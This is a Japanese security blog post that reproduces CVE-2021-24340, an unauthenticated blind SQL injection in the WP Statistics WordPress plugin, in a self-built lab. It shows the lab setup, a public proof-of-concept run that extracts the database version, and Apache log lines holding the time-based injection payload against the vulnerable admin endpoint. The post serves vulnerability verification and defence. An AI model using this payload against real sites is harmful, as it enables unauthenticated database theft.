Armoris日記 CVE-2021-24340編

このブログは、昨年3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

CVE-2021-24340の検証

今回のArmoris日記では2021/05/19に公開されたCVE-2021-24340について簡単な検証を行います。

検証には自身で管理する環境を使用し、自己責任でお願いします

CVE-2021-24340はWP StatisticsというWordPressのサイトアナリティクスを表示するプラグインに存在するブラインドSQLインジェクション脆弱性になります。本来であれば認証が必要なリクエストを攻撃者が認証を必要とせず実行できてしまうことに問題があります。
今回脆弱性が報告されたプラグインは60万件のサイトで導入されています。

ブラインドSQLインジェクションとは

脆弱性情報:Wordfence
該当プラグインWP Statistics

影響を受けるバージョン:WP Statistics < 13.0.8

検証環境

検証用に用意した環境と各種バージョン情報は以下のとおりです。

Name Version
Ubuntu Server 20.04
WordPress 5.7.2
WP Statistics 13.0.7

検証環境作成

まずVagrantを使用してUbuntuServerとWordPressの環境を構築します。

$ cat Vagrantfile 
Vagrant.configure(2) do |config|

config.vm.box = "generic/ubuntu2004"
config.vm.provider "libvirt"
config.vm.network "forwarded_port", guest: 80, host: 6823, host_ip: "172.20.100.120"
end
$ vagrant up

次に仮想環境のIPアドレスを確認してhostファイルを編集後にAnsibleを実行します。

$ vagrant ssh-config
Host default
  HostName 192.168.121.33
  User vagrant
  Port 22
  UserKnownHostsFile /dev/null
  StrictHostKeyChecking no
  PasswordAuthentication no
  IdentityFile /home/ubuntu/CVE-2021-24340/.vagrant/machines/default/libvirt/private_key
  IdentitiesOnly yes
  LogLevel FATAL
$ cat host
[server]
192.168.121.33 ansible_ssh_user=vagrant ansible_ssh_private_key_file=./.vagrant/machines/default/libvirt/private_key ansible_python_interpreter=/usr/bin/python3
$ ansible-playbook -i host wp.yml -v

以下をクリックすると普段私がArmoris日記で検証用に環境構築をする際使用しているymlファイルが表示されます。

WordPressのインストールが完了後プラグインの用意をします。

$ wget https://downloads.wordpress.org/plugin/wp-statistics.13.0.7.zip
$ sudo unzip wp-statistics.13.0.7.zip
$ sudo mv wp-statistics /var/www/wordpress/wp-content/plugins/

プラグインファイルを解凍後にWordPressプラグインフォルダに移動し、ブラウザからサイトにアクセスしてプラグインを有効化します。
プラグインを有効化したら一度WordPressにアクセスし直してデフォルトのページを表示します。こうすることでサイトのアナリティクスデータが作成され、攻撃が可能になります。

PoCの実行

2021/06/09現在いくつかPoCが公開されており、今回は実際にスクリプトを使用してDBのバージョン情報を取得します。

実際に攻撃実行した結果になります。

$ python3 poc.py http://172.20.100.120:6823/wp-admin/admin.php 1
2021-06-09 04:15:32
[*] Params:
        [*] BaseURL: http://172.20.100.120:6823/wp-admin/admin.php
        [*] Timeout: 1
1
10
10.
10.3
10.3.
10.3.2
10.3.29
10.3.29-
10.3.29-M
10.3.29-Ma
10.3.29-Mar
10.3.29-Mari
10.3.29-Maria
10.3.29-MariaD
10.3.29-MariaDB
10.3.29-MariaDB-
10.3.29-MariaDB-0
10.3.29-MariaDB-0u
10.3.29-MariaDB-0ub
10.3.29-MariaDB-0ubu
10.3.29-MariaDB-0ubun
10.3.29-MariaDB-0ubunt
10.3.29-MariaDB-0ubuntu
10.3.29-MariaDB-0ubuntu0
[*] Exfiltrated data: 10.3.29-MariaDB-0ubuntu0
2021-06-09 04:19:45

以下は実際にWordPressで使用しているDBサーバーでバージョン情報を表示した結果になります。

MariaDB [wordpress]> SELECT @@VERSION;
+----------------------------------+
| @@VERSION                        |
+----------------------------------+
| 10.3.29-MariaDB-0ubuntu0.20.04.1 |
+----------------------------------+
1 row in set (0.002 sec)

実際に認証を必要とせずDBサーバーの情報と同じものが取得できることが確認できます。

この時のApacheのログを確認すると以下のようになっています。

192.168.121.33 - - [09/Jun/2021:04:19:21 +0000] "GET /wp-admin/admin.php?ID=1+OR+(CASE+WHEN+(select+ASCII((substring((select+version()),22,1)))%3D110)+THEN+SLEEP(1)+ELSE+SLEEP(0)+END)&page=wps_pages_page&type=1 HTTP/1.1" 302 669 "-" "python-requests/2.25.1"
192.168.121.33 - - [09/Jun/2021:04:19:21 +0000] "GET /wp-login.php?redirect_to=http%3A%2F%2F172.20.100.120%3A6823%2Fwp-admin%2Fadmin.php%3FID%3D1%2BOR%2B%28CASE%2BWHEN%2B%28select%2BASCII%28%28substring%28%28select%2Bversion%28%29%29%2C22%2C1%29%29%29%253D110%29%2BTHEN%2BSLEEP%281%29%2BELSE%2BSLEEP%280%29%2BEND%29%26page%3Dwps_pages_page%26type%3D1&reauth=1 HTTP/1.1" 200 4855 "-" "python-requests/2.25.1"
192.168.121.33 - - [09/Jun/2021:04:19:21 +0000] "GET /wp-admin/admin.php?ID=1+OR+(CASE+WHEN+(select+ASCII((substring((select+version()),22,1)))%3D111)+THEN+SLEEP(1)+ELSE+SLEEP(0)+END)&page=wps_pages_page&type=1 HTTP/1.1" 302 669 "-" "python-requests/2.25.1"
192.168.121.33 - - [09/Jun/2021:04:19:21 +0000] "GET /wp-login.php?redirect_to=http%3A%2F%2F172.20.100.120%3A6823%2Fwp-admin%2Fadmin.php%3FID%3D1%2BOR%2B%28CASE%2BWHEN%2B%28select%2BASCII%28%28substring%28%28select%2Bversion%28%29%29%2C22%2C1%29%29%29%253D111%29%2BTHEN%2BSLEEP%281%29%2BELSE%2BSLEEP%280%29%2BEND%29%26page%3Dwps_pages_page%26type%3D1&reauth=1 HTTP/1.1" 200 4853 "-" "python-requests/2.25.1"
192.168.121.33 - - [09/Jun/2021:04:19:21 +0000] "GET /wp-admin/admin.php?ID=1+OR+(CASE+WHEN+(select+ASCII((substring((select+version()),22,1)))%3D112)+THEN+SLEEP(1)+ELSE+SLEEP(0)+END)&page=wps_pages_page&type=1 HTTP/1.1" 302 669 "-" "python-requests/2.25.1"
192.168.121.33 - - [09/Jun/2021:04:19:21 +0000] "GET /wp-login.php?redirect_to=http%3A%2F%2F172.20.100.120%3A6823%2Fwp-admin%2Fadmin.php%3FID%3D1%2BOR%2B%28CASE%2BWHEN%2B%28select%2BASCII%28%28substring%28%28select%2Bversion%28%29%29%2C22%2C1%29%29%29%253D112%29%2BTHEN%2BSLEEP%281%29%2BELSE%2BSLEEP%280%29%2BEND%29%26page%3Dwps_pages_page%26type%3D1&reauth=1 HTTP/1.1" 200 4855 "-" "python-requests/2.25.1"
192.168.121.33 - - [09/Jun/2021:04:19:21 +0000] "GET /wp-admin/admin.php?ID=1+OR+(CASE+WHEN+(select+ASCII((substring((select+version()),22,1)))%3D113)+THEN+SLEEP(1)+ELSE+SLEEP(0)+END)&page=wps_pages_page&type=1 HTTP/1.1" 302 669 "-" "python-requests/2.25.1"
192.168.121.33 - - [09/Jun/2021:04:19:21 +0000] "GET /wp-login.php?redirect_to=http%3A%2F%2F172.20.100.120%3A6823%2Fwp-admin%2Fadmin.php%3FID%3D1%2BOR%2B%28CASE%2BWHEN%2B%28select%2BASCII%28%28substring%28%28select%2Bversion%28%29%29%2C22%2C1%29%29%29%253D113%29%2BTHEN%2BSLEEP%281%29%2BELSE%2BSLEEP%280%29%2BEND%29%26page%3Dwps_pages_page%26type%3D1&reauth=1 HTTP/1.1" 200 4855 "-" "python-requests/2.25.1"

非常に特徴的なリクエストが送信されていることがわかります。

まとめ

今回は久しぶりのArmoris日記検証編でした。
取り上げたプラグインではいくつかのSQLインジェクション対策がされていましたが、リクエストの仕方を工夫することで回避できることが発見されています。
実際にこう言った状況が発生した際にすぐに対策を行なったりアップデートを行えるように運用にも気を配る必要があると感じました。

自分が管理するサーバー以外では絶対に試さないでください。
また、検証は自己責任で行ってください。